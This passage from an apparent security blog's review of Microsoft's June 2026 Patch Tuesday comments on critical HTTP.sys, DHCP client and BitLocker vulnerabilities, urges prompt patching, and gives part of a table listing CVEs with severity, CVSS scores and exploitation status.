Vulnerability<br></strong>Our second CVSS 9.8 bug of the month, this also allows remote, unauthenticated attackers to execute code on affected systems without user interaction. However, there is a caveat. Systems using the default MaxRequestBytes registry value used by the Windows HTTP stack are not affected by this bug. You can edit your registry settings if you need protection while you test and deploy the patch. The bulletin includes instructions and even a PowerShell script for doing this action. Microsoft lists this as “Exploitation more likely”, so I would definitely check your registry settings.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><strong>CVE-2026-44815</strong></a><strong> - DHCP Client Service Remote Code Execution Vulnerability<br></strong>Here’s another CVSS 9.8 that has an odd incongruity. Although the CVSS says no permissions are required for exploitation, the write-up states it must be an “authenticated” user. I would err on the side of caution here and believe the CVSS. If that’s correct, then we have another bug where a remote, unauthenticated attacker could execute code on affected systems without user interaction. And since the DHCP client is on every OS, it’s a juicy target. This is another one to test and deploy with haste.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45585"><strong>CVE-2026-45585</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><strong>CVE-2026-50507</strong></a><strong> - Windows BitLocker Security Feature Bypass Vulnerability<br></strong>If you’ve followed the ongoing saga of Nightmare Eclipse vs. MSRC, the bugs should look familiar. One is definitely a fix for “YellowKey”, while the other appears to be a fix for “GreenPlasma”. The researcher has promised a “<a href="https://www.theregister.com/security/2026/05/28/microsoft-0-day-feud-escalates-as-researcher-threatens-another-windows-exploit-dump/5248085">bone shattering</a>” drop on June 14, so let’s hope Microsoft is able to reach some understanding with the researcher before more 0-days are released. Also, there is a script provided by Microsoft as a mitigation, but the better strategy is to test and deploy the updates.</p><p class=""> Here’s the full list of CVEs released by Microsoft for June 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="new2026-Jun-cvrf2.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="1024">
 <col width="144">
 <col width="256">
 <col width="104" span="6">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">XI</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41091"><span>CVE-2026-41091</span></a></td>
  <td width="256" class="xl68">Microsoft Defender
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl71">Yes</td>
  <td class="xl70">0</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49160"><span>CVE-2026-49160</span></a></td>
  <td width="256" class="xl68">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50507"><span>CVE-2026-50507</span></a></td>
  <td width="256" class="xl68">Windows BitLocker
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45586"><span>CVE-2026-45586</span></a></td>
  <td width="256" class="xl68">Windows Collaborative
  Translation Framework (CTFMON) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl71">Yes</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="91">
  <td class="xl67" height="91"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-10263"><span>CVE-2025-10263 *</span></a></td>
  <td width="256" class="xl68">ARM: CVE-2025-10263
  Completion of affected memory accesses might not be guaranteed by completion
  of a TLBI [kernel]</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48567"><span>CVE-2026-48567</span></a></td>
  <td width="256" class="xl68">Azure HorizonDB<span>  </span>Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">10</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32193"><span>CVE-2026-32193</span></a></td>
  <td width="256" class="xl68">Azure Kubernetes
  Service (AKS) Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47644"><span>CVE-2026-47644</span></a></td>
  <td width="256" class="xl68">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44815"><span>CVE-2026-44815</span></a></td>
  <td width="256" class="xl68">DHCP Client Service
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47291"><span>CVE-2026-47291</span></a></td>
  <td width="256" class="xl68">HTTP.sys Remote Code
  Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42824"><span>CVE-2026-42824</span></a></td>
  <td width="256" class="xl68">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45476"><span>CVE-2026-45476</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Network Adapter Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44810"><span>CVE-2026-44810</span></a></td>
  <td width="256" class="xl68">Microsoft
  Cryptographic Services Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48579"><span>CVE-2026-48579</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Online Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47655"><span>CVE-2026-47655</span></a></td>
  <td width="256" class="xl68">Microsoft Graph
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45497"><span>CVE-2026-45497</span></a></td>
  <td width="256" class="xl68">Microsoft M365 Copilot
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">N/A</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45460"><span>CVE-2026-45460</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">4.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45472"><span>CVE-2026-45472</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45474"><span>CVE-2026-45474</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45461"><span>CVE-2026-45461</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45463"><span>CVE-2026-45463</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45456"><span>CVE-2026-45456</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45458"><span>CVE-2026-45458</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47635"><span>CVE-2026-47635</span></a></td>
  <td width="256" class="xl68">Microsoft Outlook and
  Word Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26142"><span>CVE-2026-26142</span></a></td>
  <td width="256" class="xl68">Nuance PowerScribe
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47289"><span>CVE-2026-47289</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47654"><span>CVE-2026-47654</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48563"><span>CVE-2026-48563</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42992"><span>CVE-2026-42992</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44799"><span>CVE-2026-44799</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44801"><span>CVE-2026-44801</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42985"><span>CVE-2026-42985</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45648"><span>CVE-2026-45648</span></a></td>
  <td width="256" class="xl68">Windows Active
  Directory Domain Services Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42987"><span>CVE-2026-42987</span></a></td>
  <td width="256" class="xl68">Windows Deployment
  Services (WDS) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33828"><span>CVE-2026-33828</span></a></td>
  <td width="256" class="xl68">Windows Device Health
  Attestation (DHA) Elevation of Privilege Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44803"><span>CVE-2026-44803</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44812"><span>CVE-2026-44812</span></a></td>
  <td width="256" class="xl68">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45607"><span>CVE-2026-45607</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45641"><span>CVE-2026-45641</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47652"><span>CVE-2026-47652</span></a></td>
  <td width="256" class="xl68">Windows Hyper-V Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47288"><span>CVE-2026-47288</span></a></td>
  <td width="256" class="xl68">Windows Kerberos Key
  Distribution Center (KDC) Remote Code Execution</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45657"><span>CVE-2026-45657</span></a></td>
  <td width="256" class="xl68">Windows Kernel Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48574"><span>CVE-2026-48574</span></a></td>
  <td width="256" class="xl68">Windows Media Remote
  Code Execution Vulnerability</td>
  <td class="xl72">Critical</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45490"><span>CVE-2026-45490</span></a></td>
  <td width="256" class="xl68">.NET SDK Elevation of
  Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45491"><span>CVE-2026-45491</span></a></td>
  <td width="256" class="xl68">.NET Tampering
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45591"><span>CVE-2026-45591</span></a></td>
  <td width="256" class="xl68">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47643"><span>CVE-2026-47643</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41098"><span>CVE-2026-41098</span></a></td>
  <td width="256" class="xl68">Azure Stack Edge
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45642"><span>CVE-2026-45642</span></a></td>
  <td width="256" class="xl68">Microsoft Azure
  Attestation service and Device Health Attestation Service Spoofing
  Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
